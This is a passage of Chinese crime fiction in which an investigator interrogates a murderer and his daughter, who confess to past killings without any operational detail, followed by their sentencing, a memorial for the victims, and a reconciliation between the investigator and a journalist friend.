邵彦华沉默地看完了,此间秦梓需一直在观察他的神态变化。尽管他有极力掩饰,但秦梓需还是看出他有多么的紧张,而当梅凝隽毫无保留地全都说出来后,他眼神之中最后的火焰熄灭了。 “看完后,有什么感想?”秦梓需问。 邵彦华默了几秒钟,沙哑着嗓子道:“我告诉你们我放工具和搞黑客活动的地方,你们也别费劲儿去找了。” 秦梓需道:“你转变想法了?” “她都说了,我也没有什么好隐瞒的了。我不说,其实都是为了她,我只是希望她不会被你们找到而已。”邵彦华淡淡道。 秦梓需瞪着他,片刻后道:“你说吧。” 邵彦华道:“就在机场旁那个二手车市场的附近,华园路有个仓储中心,我在那里租了一个仓库。B区4栋201。我所有的犯罪用具都在那里面。” 他的供述审讯室外的人第一时间记录下来,立刻便有人去查。秦梓需继续道: “我还有几个问题要问你。第一,你为什么要杀了陈老师全家?” “她看到了我跟阿梅开房,而且还找我谈话,威胁我要把这件事告诉我爸。我要得到阿梅,必须得让她成功嫁给我爸,这件事绝对不能被她搅黄了。而且我无法排除她把这件事告诉她家里人的可能性,所以我就打算制造一个燃气爆炸,把他们都一波带走。”邵彦华毫无情感波动地陈述道。 秦梓需死死攥着手里的签字笔,极力克制愤怒的情绪:“所以这件事确实是你自己策划执行的,梅凝隽事先不知情吗?没有给你提供帮助吗?” “没有,她什么都不知道。”邵彦华很干脆地道。 “爆炸后,你是怎么盯上杨莲的?” 邵彦华回忆了一下,道:“爆炸后,我一直在寻找机会潜入现场,我怕爆炸不彻底,让警察看出来引爆痕迹。我一连去现场检查了三天,第三天我没能进去,在外围高处查看情况时,我看到她在现场内,还有个看管现场的老头跟着她。我亲眼在远处通过望远镜看到她找到了引爆器,而且把引爆器揣包里了,没和那个老头声张。 “后来我想跟踪她的,但她跑了,我找了她很久,那会儿互联网还不发达,费了很大的劲儿。终于让我查到她和陈君梅的关系,找到了她支教的地方。我本来不想杀她的,我一直都有侥幸心理,想着她就算捡到了引爆器,两三年过去了她都没声张,是不是她压根就没发现里面的问题。 “但她竟然返回胥城,还找到了我家附近,给我家邮箱塞了信,要我自首。我怎么能放过她?是她自己找死,怨不得我。” 秦梓需沉了下气,道:“这起案子里,梅凝隽是否有参与?” “没有,她不知情。我是不会让她杀人的,她手上不能沾血。”邵彦华摇头。 “呵,你这么宝贝她,还让她替你去韩国找物证?让她替你杀了李芝华灭口?”秦梓需不无讽刺地反问道。 “她要做什么便做什么,我从来不湳枫会管着她,她是我女人,我只宠着她。”邵彦华似是天理如此一般地说道。 “结果她没找到物证,回来后你还和她闹翻了?” “我只是希望她能躲一躲风头,她不肯,我们吵架还是会吵的,但一般都是我让她。”邵彦华道。 秦梓需直犯恶心:“你又是怎么对你女儿的?她小小年纪,就被你们俩带上了犯罪的道路!!” “哼,那小孩生下来就是个魔鬼,论疯劲儿,狠劲儿,我们俩比她都弱爆了。”邵彦华大笑起来,“她打小和狗关在一起,和狗抢东西吃,阿梅就是这样养她的。那时候我们一个在国内,一个在国外,我也没能力养她,没办法。” “邵紫涵是什么时候回国的?” “2011年的10月,我那会儿在成都买了一套房,装修好了,把她们娘俩弄回来的。” “你为什么要在成都买房,是早就预谋要长期接触李芝华?你把她们接回来,也是为了让她们帮你犯罪吧。” “我说了我不会让阿梅脏手的,但我也只是一个人,做不了那么多事,我需要帮手。”他说些苍白的辩驳,秦梓需觉得可悲又可笑。 “你知道何文月的存在吗?”秦梓需的提问突然转向。 邵彦华一愣,从牙缝里挤出四个字:“我不知道……” “你知道后是什么想法?”秦梓需紧抓不放。 “我……我心里很不舒服,我不能接受。”邵彦华沉默了好一会儿,还是说出了内心最真实的想法。 “梅凝隽让你查何文月,你查了吗?” “没查。”邵彦华答得非常干脆。 “你们为什么盯上了章弥真,为什么要抓她?”秦梓需再问。 “是她害得阿梅被人捅,害得阿梅坐牢!!她该死!!”邵彦华突然激动起来,大叫道。 “给我安静!注意你的言辞!”陪审的男警察呵斥道。 邵彦华额头青筋暴起,浑身在微微地发颤。 秦梓需缓缓道:“我问完了,最后我再说一句,邵彦华,死不可怕,最可怕的是走向死亡的过程,你还有最多一年的时间。” 说完她就拿起笔记本和笔离开了审讯室,再没有看邵彦华一眼。 …… 比起邵彦华看到梅凝隽审讯视频时的淡定,邵紫涵就显得暴躁许多。她嘴里不停骂着不干不净的脏话,还是中英文参半的,不停地抖腿,不得安生。 “猪女人,想死不要拖着我一起死啊!”视频放完后,她咒骂道。 “你是不是觉得不说话,就能逃脱罪过了?”秦梓需哂笑着问。 “她把自己撇的一干二净!猪女人,到底是谁特么拉着我,要我骗李芝华吃猫粮的?什么叫这就是我的命?老子不认!早知道当初就该一刀宰了她。”她叫嚣着,却红了眼眶,呼喝的嗓子里逐渐带上沙哑颤音。 “你很恨她。” “恨?呵,她算坨屎!老子杀她眉头不皱一下。” 她的歇斯底里恰恰暴露了她此时内心的脆弱受伤,秦梓需等她发泄完了,才慢慢问: “你小时候,你妈对你不好吗?” “好?什么叫对我好?是把我和猫狗关在一起,喂我吃宠物粮吗?那个女人没良心的,她的血是冷的。我能长大,都是奇迹。”邵紫涵道。 “你这么恨她,为什么还要在手臂上纹梅花?”秦梓需又问。 “我离不开她啊,我年纪太小了,我怕她把我丢下不管了,我该怎么活?我只能讨好她,对她百依百顺,这个就是讨好的证据,我把这个亮给她看时,她可喜欢了。” “我看这纹身都拉长变形了,你是小时候纹的?” “8岁时纹的。” “什么时候洗掉的?” “今年,你们不是都知道了吗?还问?”邵紫涵很不耐烦。 “问你就老实回答!”陪审的警官叱道。 “你参与策划了对付李芝华父母的事?” “我没策划,这个事儿是老鬼要做的,我只是帮了帮忙。” 秦梓需:“那抓章弥真的事呢?你没策划?” 邵紫涵顿了一下,眸光瞥向一旁,显出逃避的神态。 “邵彦华说他抓章弥真是为了报复章弥真曝光人口贩卖案害得梅凝隽被捅这件事的,你呢?你的目的也是这样?这个案子你出力很多,我不相信你只是帮忙。那个冰淇淋店的摆件,到底是什么意思?” 邵紫涵深吸一口气,终于还是坦白了: “我小时候在芝加哥,和章弥真见过几次。我那会儿一天到晚吃不了一顿正饭,饿得不行时,会到芝加哥大学旁的商店街翻垃圾。有些食品店的垃圾桶里扔了很多过期食品,其实都还能吃。 “她打工的那家冰淇淋店,也会扔掉过期的奶油、糖霜之类的东西。那里的店员都很凶,见到我翻垃圾,会来驱赶我。但章弥真每次当值,都会专门给我留一盒冰淇淋,放在角落里,藏在纸箱子里。 “有一回,她在冰淇淋之外还送了一个摆件给我,那摆件坏掉了,被她用胶水粘起来的。我记这件事记了很久,那个摆件我也一直留着。 “她是个好人,这些年我一直有关注她的报道。哪怕我妈被她曝光的事害了,但这也怪不了她。我不想害她,但老鬼不同意。我反抗不了老鬼,我只是想如果让老鬼抓着她,我也许能和她好好地说两句话,如果……能长久地相处下去,也是好的。” 秦梓需眉头紧锁,半晌道:“你的意思是,你想占有章弥真?” “占有……我没想过,我只是想靠近她而已,她是我……接触过的唯一一个好人。她毫无目的地对我好,从不在我身上图什么。”邵紫涵垂首说道。这个时候的她已经没有此前的暴躁,神情恍惚,仿佛陷入了某个幻梦之中。 审讯终于结束了,秦梓需从审讯室出来时胸口堵得慌。对邵彦华、邵紫涵的审讯,章弥真全程都在监控室旁听,秦梓需走到监控室门口时,恰好章弥真也出来了。章弥真的脸色并不好看,阴沉得好像要滴出水来。 “你想起她来了吗?”秦梓需问章弥真。 “嗯,如果她不提,我真的不会想起来。她就是每天都会来翻垃圾的那个脏兮兮的小男孩。你知道,我真的以为那是个男孩,她剃着很短的头发,而且从不说话。”章弥真道。 “弥真,你还好吧,脸色有点差。”秦梓需关心道。 章弥真叹息一声,道:“我只是有点累了,休息休息就好了。但老秦,你知道吗,我刚在想……我们真得做好事,就像蝴蝶扇翅膀似的,说不定哪天,就真有力挽狂澜的奇迹发生。” “是啊,感谢章大记者这么多年坚持不懈地做好事,现在想来,你不是从我们重逢后才开始帮我的,一直以来你都在帮我呢。”秦梓需道。 “所以我这么劳苦功高,你答应我的请客呢?快快兑现!”章弥真催促道。 “哈哈哈哈……”秦梓需大笑起来。 …… 时间进入9月,三名主犯均已招供,再加上邵彦华的犯罪工作室被找到,工作室捏存放着乙/醚等多种迷药,绞索、刀具、电击/枪等多种犯罪工具一应俱全,还有相当多的户外用品、犯案时使用的伪装用品等,包括制备猫粮用的机器都有。总之他犯下的多起罪案的罪证均已补齐,案件审结进入快车道。 接下来的事,大多不需要秦梓需来操心了,她毕竟只是顾问,不是主办人员,后续的司法流程不再需要她参与了。 结案后,她先是回家和父母团聚。疙疙瘩瘩了许多年,秦梓需和父母之间也没法一夕之间恢复到正常的亲子关系之中,但那天晚上吃饭时,父亲难得地说了一句佩服她,母亲也抱着她流了泪,秦梓需终于还是在父母面前大哭了一场,回到了儿时的模样。 她在家里好好休息了许多天,9月10日教师节那天,她和章弥真去了一趟陵园,将杨莲的骨灰安葬入陈君梅家骨灰格的旁边,并十八年后第一次祭扫了陈君梅的墓。 祭奠当日,秦梓需久违地穿了警服,她把陈君梅写给杨莲的那几封书信、艾米丽狄金森诗集和陈君梅留下的一副备用眼镜一起存进了陈君梅的墓格。 “老师,这些信和书,我给您送来了,您眼睛不好,记得戴眼镜看。”她阖上墓格门,用手指摩挲了一下墓格上的全家福,还有她刚刚加上去的初三毕业典礼那天早上的照片,“十八年没来看您,我终于把您的案子查明白了。凶手已经绳之以法,杨老师为了查您的案子……不惜……牺牲自己的性命……” 秦梓需说到这里,哽咽着说不下去了。章弥真站在她身边,抬手安抚她的后背,同样红了眼眶。 秦梓需深呼吸了一下,调整好情绪,继续道:“杨老师现在搬来和您做邻居了,希望你们九泉之下,依旧能做彼此最好的伴侣。” 说完,她后撤一步,立正,给陈、杨的墓格敬了一礼。 扫墓后的第二天,恢复便装的秦梓需和章弥真一起去了一趟“星孩儿糕点店”,看望了一下正在那里做学徒的何文月。 何文月见到秦梓需时还紧张了一下,但终究还是腼腆地叫她“警察姐姐”,还和秦梓需加了好友。 之后这小姑娘兴冲冲地亲手为她们做了蛋糕,泡了红茶。秦梓需和章弥真便在这个初秋的午后,坐在店里喝起下午茶来。 何文月并不知道自己的身世,她12岁之前都是姥姥一人带着,后来姥姥腿疾发作,谋生艰难,她就和姥姥一起被接回了梅村的何家抚养。她的父亲何阿金早已再娶,并生了一个弟弟。一家人长期生活在胥城城区内,不怎么回梅村,只是定期往家里寄钱,维持家用。 现在她自己终于找到了稳定的工作,可以自己赚钱赡养姥姥了。而秦梓需、章弥真,也不会把她母亲的事告诉她,她们希望何文月能继续快乐地生活下去,不要再接触这世间的任何阴暗。 “你接下来回北京?”章弥真喝了一口红茶,看似漫不经心地问道。 “嗯,这也开学了,是该回去了。”秦梓需道。 “听说你请了很久的假,没想到暑假两个月就搞定了整个案子,是不是觉得很亏?”章弥真笑道。 “嗨……我还嫌太慢了呢。”秦梓需失笑,“太折磨了,不想再经历第二次。趁着校长还没催我回去,我想在胥城多休一段时间。” 章弥真闻言,刚准备说什么,秦梓需的电话就响了。 “咦?不会是校长这就来催我了吧。”秦梓需哂笑一下,忙接起电话,听了一会儿,她笑了,道,“太好了,嗯,没想到还有这样的事,好,感谢告知。邹天,改天再聚一聚,我请你喝酒啊。” 电话挂断了,章弥真问:“是邹天给你打电话?” “嗯,他不是回云南了嘛。说是王永荷恢复记忆了,身体好得很快。”秦梓需道。 “好消息啊!”章弥真眉眼绽放出光彩。 “对,而且王永荷回忆,说是李芝华死后没多久,有个女人趁着家里没人来看过她,还给她送了点吃的东西,那个人应该就是许晓芸。许晓芸当时可能途径云南,正准备往缅甸去。” “她倒是良心未泯,可惜了,为了杀一个渣男,把自己后半生都搭进去了。嗨……我也没啥资格说这个话,未经他人苦,莫劝他人善。”章弥真捋了一下长发,又端起茶杯喝了一口。 秦梓需盯着她看,章弥真皱眉:“干嘛这样看我?你这个眼神,好熟悉……之前诓我入局时,你就是这个表情。” “啥呀,我就是……”秦梓需欲言又止,“你的书啥时候出?我一定买上百来本,然后发给我们学校的老师同学们看。” “哟,那多谢你了。”章弥真道,“这不是还得看啥时候审判嘛,等着吧,且得等个一年半载的。” “要是有签售会,我会去参加的。”秦梓需道。 “哼,我一定给你整个签售会,到时候你敢不来,试试看。”章弥真瞪着她。 秦梓需哭笑不得:“干嘛对我这么凶?” 章弥真的唇抿成一道线,她踌躇了片刻,道:“我在考虑自己的职业前景,你要不也考虑一下?我……觉得在官媒做事有点屈我的才,有自己出来创业的打算。现在自媒体这么发达,我感觉以我的能力,应该能做出来的。” “好啊,那我全力支持你。有什么忙我肯定帮的。”秦梓需道。 章弥真看着她,见她一脸真诚,只得无奈一笑,道:“好,那到时候我再联系你。” …… 2021年11月,邵彦华系列大案二审判决结束,邵彦华被执行死刑,邵紫涵以非法获取国家秘密罪、寻衅滋事罪等数罪并罚,被判有期徒刑20年。梅凝隽也被引渡回国服刑,她以谋杀罪、教唆杀人罪、人口拐卖罪同样被顶格判处死刑。 就在这个时间点上,章弥真的纪实文学著作《十八年追凶之831系列连环大案始末》发售,一上架就被抢购一空。章弥真也如愿开启了全国签售会,首站就在北京。 秦梓需久违地收到了章弥真发来的邀请,请她去参加签售会。 秦梓需没想到,一年多了,章弥真竟然没怎么和她发过微信。她几次主动联系她,都被她以太忙的借口糊弄过去了。 而秦梓需自己的事业也步入了一个新阶段,鉴于她在邵彦华连环杀人大案之中的出色表现,上级研究把她从教学岗位调动进入公安部刑事侦查局担任侦查员培训工作和一线侦查指导工作,她接替了她师傅的岗位,成为了公安部最年轻的专家之一,开始了全年出差的日子。 她忙得天昏地暗,也实在没有精力去管章弥真了。 好在这回签售会她恰好有空,不至于放了章弥真鸽子。 签售会当天,北京初雪降临,秦梓需穿着呢大衣,呵着白气进了会场所在的书城。没想到刚踏进来,就有个熟悉的声音喊她: “老秦!” 她循声望去,正是章弥真。她正站在自己那本畅销书的展销位旁,向她挥手呢。 秦梓需笑了,走上前去,道:“你怎么回事,在这翻自己的书看?” “我是在等你,顺便翻翻自己的书。”章弥真纠正道。 “等我?诶呦,我真是受宠若惊啊。”秦梓需打趣道。 章弥真却突然很严肃地向秦梓需伸出手来,秦梓需不解地歪头看她,只听章弥真道; “我辞职出来单干了,刚在北京这里成立了自己的工作室,租了房,还把我妈和两只猫也接过来了。后续大鹏、阿朗、孙影他们几个小年轻也会过来跟我一起干。” “啊?!”秦梓需大吃一惊。 “所以我要是创业失败了,你得负全责。”章弥真道。 “不是……”秦梓需满脑门问号。 “秦老师,你要不要跟我合作嘛,我这手都伸了半天了。”章弥真笑然盯着秦梓需。 秦梓需下意识握住她的手,嘟囔了一句:“我这是被你诈骗了吧,是不是该报警?” 章弥真笑靥如花:“你不就是警察嘛,抓我啊。我可赖上你了。” 秦梓需哭笑不得。【你现在阅读的是 】